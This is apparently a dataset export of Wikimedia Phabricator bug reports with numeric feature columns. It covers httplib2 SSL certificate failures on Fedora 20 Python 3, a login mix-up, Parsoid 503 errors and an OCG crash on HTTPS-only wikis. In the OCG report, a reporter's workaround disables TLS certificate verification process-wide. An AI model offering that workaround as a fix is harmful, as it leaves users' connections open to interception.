https://bugzilla.redhat.com/show_bug.cgi?id=1154641",Needs Triage,90.0,1413243300,1433297689.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-USER-oxd6f6xemkuyttw7z7wl,False,PHID-TASK-s7xkcw7rbgjudwqrsqhf,task_description,resolved,True,c3,1,True,True,True,-38,True,0.047619047619047616,0.0,0.0,0.047619047619047616,0.0,2.380952380952381,0.0,0.0,0.0,0.0,3.2857142857142856,0.09523809523809523,0.0,0.0,0.047619047619047616,0.0,0.0,0.6190476190476191,4.428571428571429,0.0,0.09523809523809523,0.0,0.0,0.0,0.47619047619047616,0.0,0.0,0.19047619047619047,0.0,0.0,0.0,0.7142857142857143,0.047619047619047616,0.0,0.3333333333333333,0.0,0.0,0.0,0.8571428571428571,0.5714285714285714,0.0,0.0,0.0,0.8095238095238095,0.0,0.0,0.0,0.0,0.0,20.523809523809526,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.09523809523809523,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.09523809523809523,6.190476190476191,0.0,0.047619047619047616,0.7142857142857143,0.0,0.0,0.0,0.047619047619047616,0.3333333333333333,0.0,4.9523809523809526,0.0,0.09523809523809523,4.428571428571429,12.428571428571429,0.0,6.428571428571429,0.0,0.09523809523809523,0.0,0.0,0.047619047619047616,0.0,0.42857142857142855,0.0,1.2380952380952381,0.8095238095238095,3.925060125060124,0.45264550264550263,"IIRC, there is a problem with certificates in httplib2 pre-0.9 (bug 65189).  FC20 ships 0.7.7 on python2 and python3

$ rpm -qi python-httplib2
Name        : python-httplib2
Version     : 0.7.7
Release     : 3.fc20
...
$ rpm -qi python3-httplib2
Name        : python3-httplib2
Version     : 0.7.7
Release     : 3.fc20
...

On py2, the 0.7.7 package works correctly.
On py3, the following occurs running site_tests

On py2, all tests pass using 0.7.7.  On python3, tests fail badly (using en.wp as default site).

$ python3 pwb.py tests/site_tests.py
.../pywikibot/family.py:879: DeprecationWarning: imp.load_source() is deprecated; use importlib.machinery.SourceFileLoader(name, pathname).load_module() instead
  myfamily = imp.load_source(fam, config.family_files[fam])
ERROR: Traceback (most recent call last):
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 992, in _conn_request
    response = conn.getresponse()
  File ""/usr/lib64/python3.3/http/client.py"", line 1135, in getresponse
    raise ResponseNotReady(self.__state)
http.client.ResponseNotReady: Idle

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "".../pywikibot/data/api.py"", line 517, in submit
    headers=headers, body=body)
  File "".../pywikibot/tools.py"", line 367, in wrapper
    return method(*__args, **__kw)
  File "".../pywikibot/comms/http.py"", line 258, in request
    raise request.data
  File "".../pywikibot/comms/threadedhttp.py"", line 219, in request
    max_redirects, connection_type
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 1272, in request
    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 1026, in _request
    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 999, in _conn_request
    conn.connect()
  File ""/usr/lib64/python3.3/http/client.py"", line 1202, in connect
    server_hostname=server_hostname)
  File ""/usr/lib64/python3.3/ssl.py"", line 245, in wrap_socket
    _context=self)
  File ""/usr/lib64/python3.3/ssl.py"", line 345, in __init__
    raise x
  File ""/usr/lib64/python3.3/ssl.py"", line 341, in __init__
    self.do_handshake()
  File ""/usr/lib64/python3.3/ssl.py"", line 548, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:547)

WARNING: Waiting 5 seconds before retrying.
ERROR: Traceback (most recent call last):
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 992, in _conn_request
    response = conn.getresponse()
  File ""/usr/lib64/python3.3/http/client.py"", line 1135, in getresponse
    raise ResponseNotReady(self.__state)
http.client.ResponseNotReady: Idle

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "".../pywikibot/data/api.py"", line 517, in submit
    headers=headers, body=body)
  File "".../pywikibot/tools.py"", line 367, in wrapper
    return method(*__args, **__kw)
  File "".../pywikibot/comms/http.py"", line 258, in request
    raise request.data
  File "".../pywikibot/comms/threadedhttp.py"", line 219, in request
    max_redirects, connection_type
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 1272, in request
    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 1026, in _request
    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 999, in _conn_request
    conn.connect()
  File ""/usr/lib64/python3.3/http/client.py"", line 1202, in connect
    server_hostname=server_hostname)
  File ""/usr/lib64/python3.3/ssl.py"", line 245, in wrap_socket
    _context=self)
  File ""/usr/lib64/python3.3/ssl.py"", line 345, in __init__
    raise x
  File ""/usr/lib64/python3.3/ssl.py"", line 341, in __init__
    self.do_handshake()
  File ""/usr/lib64/python3.3/ssl.py"", line 548, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:547)

WARNING: Waiting 10 seconds before retrying.
^CTraceback (most recent call last):
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 992, in _conn_request
    response = conn.getresponse()
  File ""/usr/lib64/python3.3/http/client.py"", line 1135, in getresponse
    raise ResponseNotReady(self.__state)
http.client.ResponseNotReady: Idle

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "".../pywikibot/data/api.py"", line 517, in submit
    headers=headers, body=body)
  File "".../pywikibot/tools.py"", line 367, in wrapper
    return method(*__args, **__kw)
  File "".../pywikibot/comms/http.py"", line 258, in request
    raise request.data
  File "".../pywikibot/comms/threadedhttp.py"", line 219, in request
    max_redirects, connection_type
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 1272, in request
    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 1026, in _request
    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
  File ""/usr/lib/python3.3/site-packages/httplib2/__init__.py"", line 999, in _conn_request
    conn.connect()
  File ""/usr/lib64/python3.3/http/client.py"", line 1202, in connect
    server_hostname=server_hostname)
  File ""/usr/lib64/python3.3/ssl.py"", line 245, in wrap_socket
    _context=self)
  File ""/usr/lib64/python3.3/ssl.py"", line 345, in __init__
    raise x
  File ""/usr/lib64/python3.3/ssl.py"", line 341, in __init__
    self.do_handshake()
  File ""/usr/lib64/python3.3/ssl.py"", line 548, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:547)

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File ""pwb.py"", line 164, in <module>
    run_python_file(fn, argv, argvu)
  File ""pwb.py"", line 69, in run_python_file
    exec(compile(source, filename, ""exec""), main_mod.__dict__)
  File ""tests/site_tests.py"", line 1481, in <module>
    unittest.main()
  File ""/usr/lib64/python3.3/unittest/main.py"", line 125, in __init__
    self.runTests()
  File ""/usr/lib64/python3.3/unittest/main.py"", line 265, in runTests
    self.result = testRunner.run(self.test)
  File ""/usr/lib64/python3.3/unittest/runner.py"", line 168, in run
    test(result)
  File ""/usr/lib64/python3.3/unittest/suite.py"", line 67, in __call__
    return self.run(*args, **kwds)
  File ""/usr/lib64/python3.3/unittest/suite.py"", line 105, in run
    test(result)
  File ""/usr/lib64/python3.3/unittest/suite.py"", line 67, in __call__
    return self.run(*args, **kwds)
  File ""/usr/lib64/python3.3/unittest/suite.py"", line 105, in run
    test(result)
  File ""/usr/lib64/python3.3/unittest/case.py"", line 529, in __call__
    return self.run(*args, **kwds)
  File ""/usr/lib64/python3.3/unittest/case.py"", line 477, in run
    self._executeTestPart(testMethod, outcome, isTest=True)
  File ""/usr/lib64/python3.3/unittest/case.py"", line 422, in _executeTestPart
    function()
  File ""tests/site_tests.py"", line 1065, in testRandompages
    rn = list(mysite.randompages(total=10))
  File "".../pywikibot/site.py"", line 3574, in randompages
    g_content=content)
  File "".../pywikibot/site.py"", line 1357, in _generator
    gen = gen_class(type_arg, site=self, **args)
  File "".../pywikibot/data/api.py"", line 1100, in __init__
    QueryGenerator.__init__(self, generator=generator, **kwargs)
  File "".../pywikibot/data/api.py"", line 819, in __init__
    self.update_limit()  # sets self.prefix
  File "".../pywikibot/data/api.py"", line 914, in update_limit
    for param in self._modules[mod].get(""parameters"", []):
  File "".../pywikibot/data/api.py"", line 865, in _modules
    data = paramreq.submit()
  File "".../pywikibot/data/api.py"", line 764, in submit
    self._data = super(CachedRequest, self).submit()
  File "".../pywikibot/data/api.py"", line 535, in submit
    self.wait()
  File "".../pywikibot/data/api.py"", line 651, in wait
    time.sleep(self.retry_wait)
KeyboardInterrupt
<class 'KeyboardInterrupt'>
CRITICAL: Waiting for 1 network thread(s) to finish. Press ctrl-c to abort

--------------------------
**Version**: core-(2.0)
**Severity**: normal
**OS**: Linux
**Platform**: PC
**See Also**:
URL
URL"
493321,Fedora 20 ships python3 httplib2 0.7.7 with unpatched SSL cert file,Also fixed #upstream on 2015-05-08,,,1437242738,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-s7xkcw7rbgjudwqrsqhf,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,30.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.9,Also fixed #upstream on 2015-05-08
468051,Fedora 20 ships python3 httplib2 0.7.7 with unpatched SSL cert file,Switched to python-requests.,,,1433297689,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-s7xkcw7rbgjudwqrsqhf,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Switched to python-requests.
326549,Fedora 20 ships python3 httplib2 0.7.7 with unpatched SSL cert file,"The reason for the problem with py3 is Fedora patches httplib2-0.7.7 to use the system certs, but only for py2.  Therefore python3-httplib2-0.7.7 is using the certs included in the distributed 0.7.7 tarball, which is mostly junk data nowadays.

fwiw, it looks like FC21 is likely to be based on py34 and include httplib2-0.9

Our typical workarounds for httplib2 work well; either install 0.9 using pip, or recursively clone the pywikibot repo, so it can use 'externals/httplib2' - both tested and work correctly.",,,1413806553,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-s7xkcw7rbgjudwqrsqhf,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.5,0.0,1.0,0.0,5.5,7.0,0.0,1.5,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,4.5,0.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,13.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,3.5,3.5,1.0,4.5,5.0,0.0,0.0,0.0,0.0,4.5,0.0,2.5,0.0,2.5,7.0,4.5,0.0,2.0,0.0,2.5,0.0,0.5,0.0,0.0,1.5,0.0,0.0,0.0,4.09433962264151,0.7830188679245282,"The reason for the problem with py3 is Fedora patches httplib2-0.7.7 to use the system certs, but only for py2.  Therefore python3-httplib2-0.7.7 is using the certs included in the distributed 0.7.7 tarball, which is mostly junk data nowadays.

fwiw, it looks like FC21 is likely to be based on py34 and include httplib2-0.9

Our typical workarounds for httplib2 work well; either install 0.9 using pip, or recursively clone the pywikibot repo, so it can use 'externals/httplib2' - both tested and work correctly."
326543,Fedora 20 ships python3 httplib2 0.7.7 with unpatched SSL cert file,"In addition, setting Family.ignore_certificate_error does not work in py3 (bug 72236 - upstream)",,,1413732950,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-s7xkcw7rbgjudwqrsqhf,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.25,1.0,"In addition, setting Family.ignore_certificate_error does not work in py3 (bug 72236 - upstream)"
73946,Cannot login to Phabricator (because of space in username?),"Expected result:
According to the text on https://phabricator.wikimedia.org/auth/start/ it should be possible to login with the Wikipedia account. 


Actual Result:
""Username or password are incorrect.""


Additional Information: 
My Wikipedia username is ""Hendrik Brummermann"", perhaps the space character is not supported.

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1413022560,1413144272.0,PHID-USER-vh7gdq5twn7kwzeqrciw,False,,False,PHID-TASK-62fy4wbtpl6pcqp57yen,task_description,invalid,True,c3,1,False,False,True,-38,True,0.0,0.0,0.0,1.0,1.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,5.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,5.0,20.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,9.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.2105263157894735,0.6578947368421053,"Expected result:
According to the text on URL it should be possible to login with the Wikipedia account. 


Actual Result:
""Username or password are incorrect.""


Additional Information: 
My Wikipedia username is ""Hendrik Brummermann"", perhaps the space character is not supported.

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
324092,Cannot login to Phabricator (because of space in username?),"Thank you, Mukunda.

I am sorry, I did not notice that button. With your help, I was able to login.

Hendrik",,,1413144272,,PHID-USER-vh7gdq5twn7kwzeqrciw,False,,,PHID-TASK-62fy4wbtpl6pcqp57yen,task_subcomment,,True,c3,1,False,,,-38,True,0.0,0.0,0.0,0.0,3.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,24.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,17.0,10.0,7.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.103448275862069,0.7586206896551724,"Thank you, Mukunda.

I am sorry, I did not notice that button. With your help, I was able to login.

Hendrik"
324088,Cannot login to Phabricator (because of space in username?),"Hendrik:  To log in with your wikipedia account you need to click the button below the login form that says:

 Login or Register
 MediaWiki

Once you click that button you get redirected to mediawiki.org to log in and link your phabricator account to your mediawiki.org login.",,,1413072780,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-62fy4wbtpl6pcqp57yen,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,11.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,11.0,19.0,8.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.415094339622642,0.6792452830188679,"Hendrik:  To log in with your wikipedia account you need to click the button below the login form that says:

 Login or Register
 MediaWiki

Once you click that button you get redirected to mediawiki.org to log in and link your phabricator account to your mediawiki.org login."
324085,Cannot login to Phabricator (because of space in username?),Thanks for reporting this. CC'ing Mukunda.,,,1413054381,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-62fy4wbtpl6pcqp57yen,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,4.625,0.875,Thanks for reporting this. CC'ing Mukunda.
73880,Parsoid cluster (newly) fails (HTTP 503 errors) to render articles,"For example:

* https://kn.wikipedia.org/w/index.php?title=%E0%B2%B8%E0%B3%8D%E0%B2%9F%E0%B2%BE%E0%B2%B0%E0%B3%8D%E2%80%8C%E0%B2%AC%E0%B2%95%E0%B3%8D%E0%B2%B8%E0%B3%8D%E2%80%8C%E2%80%8C&oldid=491660 (WORKS)
* http://parsoid-lb.eqiad.wikimedia.org/knwiki/%E0%B2%B8%E0%B3%8D%E0%B2%9F%E0%B2%BE%E0%B2%B0%E0%B3%8D%E2%80%8C%E0%B2%AC%E0%B2%95%E0%B3%8D%E0%B2%B8%E0%B3%8D%E2%80%8C%E2%80%8C?oldid=491660 (FAILS)

OR

* https://kn.wikipedia.org/w/index.php?title=%E0%B2%B9%E0%B2%BF%E0%B2%AE_%E0%B2%9A%E0%B2%BF%E0%B2%B0%E0%B2%A4%E0%B3%86&oldid=371939 (WORKS)
* http://parsoid-lb.eqiad.wikimedia.org/knwiki/ಹಿಮ_ಚಿರತೆ?oldid=371939 (FAILS)

I have many more examples with different Wikipedias.

--------------------------
**Version**: unspecified
**Severity**: critical",Needs Triage,90.0,1412858460,1412870151.0,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,,False,PHID-TASK-u3eeltc4z5jroxx66e2a,task_description,resolved,True,c3,1,False,False,True,-38,True,2.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,14.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.263157894736842,0.45614035087719296,"For example:

* URL (WORKS)
* URL (FAILS)

OR

* URL (WORKS)
* URL (FAILS)

I have many more examples with different Wikipedias.

--------------------------
**Version**: unspecified
**Severity**: critical"
321073,Parsoid cluster (newly) fails (HTTP 503 errors) to render articles,Verified that all the above are fixed with the latest parsoid deploy.  Yay!,,,1412887346,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-u3eeltc4z5jroxx66e2a,task_subcomment,,True,c3,1,False,,,-38,True,6.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,12.0,6.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.9375,0.9375,Verified that all the above are fixed with the latest parsoid deploy.  Yay!
321070,Parsoid cluster (newly) fails (HTTP 503 errors) to render articles,Have we verified that all the URLs above are fixed by this patch?  I'd prefer to leave this bug open until we can verify that the urls are fixed in production.,,,1412873381,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-u3eeltc4z5jroxx66e2a,task_subcomment,,True,c3,1,False,,,-38,True,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,9.0,0.0,3.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,9.0,6.0,0.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,17.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6857142857142855,0.8285714285714286,Have we verified that all the URLs above are fixed by this patch?  I'd prefer to leave this bug open until we can verify that the urls are fixed in production.
321068,Parsoid cluster (newly) fails (HTTP 503 errors) to render articles,This was fixed y'day (https://gerrit.wikimedia.org/r/#/c/165504/) and we'll deploy today if we can.,,,1412864186,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-u3eeltc4z5jroxx66e2a,task_subcomment,,True,c3,1,False,,,-38,True,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,13.0,7.0,7.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,0.9333333333333333,This was fixed y'day (URL and we'll deploy today if we can.
321066,Parsoid cluster (newly) fails (HTTP 503 errors) to render articles,"Some more:

http://parsoid-lb.eqiad.wikimedia.org/enwiki/Oh!_Susanna
http://parsoid-lb.eqiad.wikimedia.org/enwiki/Iran%E2%80%93United_States_relations
http://parsoid-lb.eqiad.wikimedia.org/enwiki/%C3%9Atila
http://parsoid-lb.eqiad.wikimedia.org/enwiki/Wish_Tree",,,1412863920,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-u3eeltc4z5jroxx66e2a,task_subcomment,,True,c3,1,False,,,-38,True,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,45.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.3636363636363638,0.5454545454545454,"Some more:

URL
URL
URL
URL"
73797,Crash with HTTPS only Mediawiki instances,"If you have a HTTPS only instance of Mediawiki, it's not possible to use OCG directly.

You get this error:
error: Error: Hostname/IP doesn't match certificate's altnames
    at SecurePair.<anonymous> (tls.js:1371:23)
    at SecurePair.EventEmitter.emit (events.js:92:17)
    at SecurePair.maybeInitFinished (tls.js:974:10)
    at CleartextStream.read [as _read] (tls.js:462:15)
    at CleartextStream.Readable.read (_stream_readable.js:320:10)
    at EncryptedStream.write [as _write] (tls.js:366:25)
    at doWrite (_stream_writable.js:221:10)
    at writeOrBuffer (_stream_writable.js:211:5)
    at EncryptedStream.Writable.write (_stream_writable.js:180:11)
    at write (_stream_readable.js:583:24) channel=backend.bundler.bin, id=65848afb3f242ab641e6d3f9cb031244c780172d, writer=rdf2latex, details=undefined
error: Bundling process died with non zero code: 1 channel=backend.bundler.error, id=65848afb3f242ab641e6d3f9cb031244c780172d, writer=rdf2latex, metabook={

It should be explained how to get rid of this error in the document. I'm not sure this is relevant to take care about this as in 99% of the instances this run on the same machine like MW. Maybe a simple option (activated per default?) should avoid this check.

I have achieved to get ride of this problem by addingprocess.env.NODE_TLS_REJECT_UNAUTHORIZED = ""0"";

PS: This problem is also valid for Parsoid.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1412777760,1614504563.0,PHID-USER-nwa6c3hm5nmv7ixrih4p,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-ttmyassxbeqqeav6vqai,task_description,declined,True,c3,1,False,False,False,-39,True,0.0,0.0,0.0,0.3333333333333333,1.0,4.0,0.6666666666666666,0.0,0.0,0.3333333333333333,1.6666666666666667,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,2.3333333333333335,11.333333333333334,0.0,1.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.3333333333333333,0.6666666666666666,1.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,14.666666666666666,0.6666666666666666,2.3333333333333335,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,1.0,9.333333333333334,0.6666666666666666,0.0,4.666666666666667,0.0,0.0,0.0,0.0,3.0,0.0,2.3333333333333335,0.0,2.0,11.333333333333334,8.333333333333334,0.3333333333333333,0.6666666666666666,0.0,2.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,1.3333333333333333,5.08